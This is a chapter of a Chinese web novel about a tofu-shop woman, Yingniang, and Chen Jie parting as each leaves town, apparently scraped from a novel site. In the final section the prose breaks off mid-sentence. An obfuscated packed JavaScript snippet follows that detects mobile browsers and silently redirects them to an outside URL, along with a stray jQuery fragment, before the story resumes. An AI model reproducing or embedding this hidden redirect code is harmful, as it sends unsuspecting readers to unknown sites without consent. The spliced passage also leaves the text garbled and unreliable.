77. 新生
作品:《豆腐娘子不甘心》 暮云低垂迎夜来,月光如水照人归。
陈玠今日去姑姑家告别,直到现在才回来,还未及家,远远地就看到叶捕头坐在院门口,正津津有味吃着什么,一口下去,碎渣纷纷落下。
陈玠无奈摇了摇头,走近调侃道:“你是吃东西,还是种东西?”
叶捕头抬头见是他,马上爬起来,嘴里还塞着酥饼渣子,口齿不清道:“口儿,你可哈回来了!”一边说,渣子随着喷溅而出。
陈玠后撤一步,皱眉道:“吃完再说话!”
叶捕头“嘿嘿”一笑,快速吞咽,又唤道:“头儿……”
“有什么事进去说吧!”陈玠说着就要开门。
“不了,东西送到就行。”叶捕头说着,提起地上的布包裹,塞给陈玠,又从怀中掏出个什么,拍到他手里。
陈玠提着包裹,借着月光看是一个红布香囊,上面缝着一个金色图案,还有“平安”二字,诧异道:“平安符?你给我的?”
“当然不是,是英姐姐给你的,今早现去求的哦!”叶捕头下巴一指包裹,说道,“那里面是她给你做的鞋。”
陈玠变了脸色,眉头紧蹙:“她身体好了吗?经得住折腾吗?”
“说是昨天就好了。我说她那天怎么跟失了魂似的,原来你跟人家说什么‘以后不要再见面’,啧啧,啧啧啧,你可真够狠啊!要不是你那句话,估计她也不能受了冷雨,最后病得起不来!”
陈玠待要说什么,提起气来,最后化为一声叹息。叶捕头见他目光幽深,有自责之意,劝道:“大哥,我不知道你们因为什么吵架,但我见着你二人步步走来,在一起很不容易,若你真不在乎,那铺子当初要价颇高,你却能毫不犹豫地应下,将铺子说给就给了,这难道不是担心她们两个女子没了铺子,便会失了生计吗?如此周全的考量,又怎会是狠心之人所为呢?”
陈玠默然,看着手上的平安符,蓦地攥紧,说道:“她还说什么了?”
“英姐姐不让我告诉你,东西是她给你的。但我肯定瞒不过你,就说这平安符吧,要说我给你求的,你八成觉得我恶心。”叶捕头笑了笑,又说道,“大哥,英姐姐听到你明天出发,还想再看你一眼,还让我不要说。我告诉她你明早城门开了就走,她应该寅时之前就到那儿等着。”
“反正我都告诉你了,该怎么做,你自己决定吧!”
陈玠摩挲着手中的平安符,红布上凸起的金线见证他的犹豫。
英娘的谎言,像是凛冽的寒风,剥去虚幻的温暖外壳,留下彻骨的寒冷。他开始不由自主地怀疑,之前那些看似美好的点点滴滴,那些曾经让他满心欢喜、沉醉其中的过往,是否都只是虚情假意一场?
不知是因为即将与她分别,还是小叶说出的那些话,亦或是她微小的牵挂足以让他说服自己,不是去探究真假,不是去辨明对错,一个念头在脑海中越来越清晰——他想再见她一面。
这一刻,思念终是占据上风。
*
清晨,薄雾还未完全散去,空气中还凝聚着潮气。商贩们已经在城门内支上摊子,有卖茶水的,卖汤饼的,卖手工艺品,卖新鲜瓜果的,供来往进出城门的人们挑选。
陈玠和叶捕头骑在马上,在人群中四处寻找着。叶捕头纳闷道:“难道我们来太早了,英姐姐还没到?”
问陈玠道:“头儿,现在怎么办,你还来得及吗?”
陈玠的手暗暗攥成拳,他没有回答,只是从马背上跃下,牵着马走向面摊,唤道:“店家,来两碗河漏。”
细长的荞麦河漏整齐码在碗里,热气蒸腾着顶上点缀的葱花。陈玠挑起一箸子面“呼噜噜”地吸入口中,吃几口便抬头张望,直至碗中只剩下飘着红油的汤底,四周也没有看到英娘的影子。
叶捕头讪讪地说道:“英姐姐可能是躲到哪里,不让咱们看见,或者是,突然有什么事情没法前来。”
陈玠轻轻放下筷子,脸色却十分平静,说道:“罢了,我该走了。”
叶捕头没有办法,两人复又上马,一路奔到城外,陈玠勒住马,说道:“就送到这儿吧!”
“头儿,你要多保重。等你立了大功,回来请我喝酒!”叶捕头尽量做出轻松的样子,笑道。
“我姑姑那里……”
还未等他说完,叶捕头接道:“我知道,我会常去替你照顾着。”
陈玠点点头,转过身正要离去,顿了一会儿,又回头说道:“她那里,也劳你多费心。”
叶捕头先是一愣,接着才明白,“她”指的是英娘,他心中暗叹,头儿既然有意等她,看他的样子,是想和她说和的,只可惜两人最后也没有见上面。他说道:“是,你放心的去吧,只是你还有没有要我转达的话?”
陈玠抿嘴不言,沉默良久,最后才道:“没有。”
“走了。”陈玠夹紧马肚,马蹄声声,带着遗憾,踏上未知的旅程。
叶捕头目送陈玠远去后,立即调转马头,“驾!”他猛挥马鞭,一路疾驰,直到跑到街巷,才减慢速度,就这样来到“豆香缘”。看到秋兰在豆腐铺子里经营,跳下马来,急冲冲地问道:“秋兰姐,英姐姐在家吗?”
“不在。”
“不在?她去哪了?她明明说要去城门见我们头儿一面,我们头儿特意拖延了一会儿,也没看见她人!头儿别提多失望了!”
“她都已经走了,还怎么能去!”秋兰道。
“走了?”叶捕头听得莫名其妙,追问道,“这是什么意思?她去哪了?”
“昨天她弟弟来找她,他们已经去府城了。英娘要去学做豆腐的手艺,不知道什么时候回来。”
叶捕头张大了嘴,半天才合上,喃喃道:“怎么偏偏这个时候……”
*
路两旁的柳枝随风摇摆,马车上的英娘注视着窗外,不是在看柳拂动,而是在等人经过。
回想昨天与小叶见了面回来,就看到宋宽等在家里,他说有朋友下午就要去府城,正好一起作伴,马上就出发,让她赶紧收拾东西。她当时虽然惊讶“怎么偏偏这个时候”,但还是准备妥当。幸好到了府城可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964622|148145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暂时在宋宽的书院凑合一下,除了衣物银两,倒也不用准备什么。与秋兰、黄芩挥泪告别后,上了马车。
她想到与叶捕头的交谈,想到陈玠今日就要出发,幸好不是双方的约定,而是她单方面想要见他一面。就算她临时改时间出发,也不妨碍什么。
从城门出来,去府城就这一条官路,说不定她还是可以看到陈玠。
她抱着一丝侥幸,从今早上车后就一直向外面看,可惜路过几个骑马的人,都不是他。她只能继续看着眼前单调的绿。
“姐,你从上车就一直往外看,外面有什么好看的?”宋宽问道。
“没看什么。”英娘遮掩道,她瞄着外面,忽然想起一件事,问宋宽:“宽儿,我给你猜一个谜语,‘田间俱备’打一字,是什么字?”
宋宽想了想,说道:“这个不难,是‘真假’的‘真’。”
是“真”吗?英娘嘴角泛起苦笑,那日她想赢个兔子灯笼给陈玠,到了最后这个字谜,说什么都想不出,最后还是花钱买一个送给他。
没想到,困住她的,始终都是一个“真”字。
不过现在,都不重要了。
这时,后面又传来马蹄声,英娘忙看向窗外,阳光明亮,照射在奔跑的身影上,更显得他英气勃勃,虽然只有一瞬,英娘看得清楚,那正是陈玠。
只一瞬,他就纵马而去,英娘探出头,只看到他的背影,她双手交叉,默默虔诚祷祝:求菩萨保佑,保佑他平安归来。
她的目光始终紧紧追随,直至那个熟悉的背影在视野中逐渐缩小,化作一个模糊的点,最终彻底消失。
还好,命运待她不薄,让她在即将离开之际,能够简单告别,得偿所愿。
她微微一笑,不经意向外一瞥,目光又落到绿柳上,突然想到今年初始,树枝还是一片干枯,她守在镖局门口,为何伟的事情心焦,而此时杨柳依依,苍翠欲滴,她已经离开县城,赶往府城。
那时她还是一个,想要倚靠丈夫主事,指望着弟弟出人头地的小妇人,将自己隐没在他们的阴影里,忍耐着,期盼着,渴望着。
渴望别人带给自己成就,比自己成就自己难得多。英娘暗自庆幸,还好她醒悟的不晚,做自己想做的事,成为自己想成为的人,才能在人生的风雨中,掌舵扬帆。
正如这窗外,枝繁叶茂的柳。她就是这树的主干,不屈不挠地生于天地之间,那些人生的不如意,不过是残枝枯叶,落在地上,又滋养于自身。
她想:我是大千世界中寻常的一株柳,但我绝不要平庸。
英娘仿佛看到柳枝上的绿意涌动起来,流淌到她的心底,为她注入无穷的豪情与勇气。她的眼神清亮而坚定,暗暗发誓道:等我学成,我要让“豆香缘”成为人人称道,代代相传的老字号!
马车沿着官道不断前行,后面慈溪县的影子早已不可见,向前极目远眺,那里有崭新浓郁的绿,簇拥着起伏连绵的山,山峰像大地的脊梁,高高耸立着。
在这条连接过去与将来的官道上,英娘期待来日方长。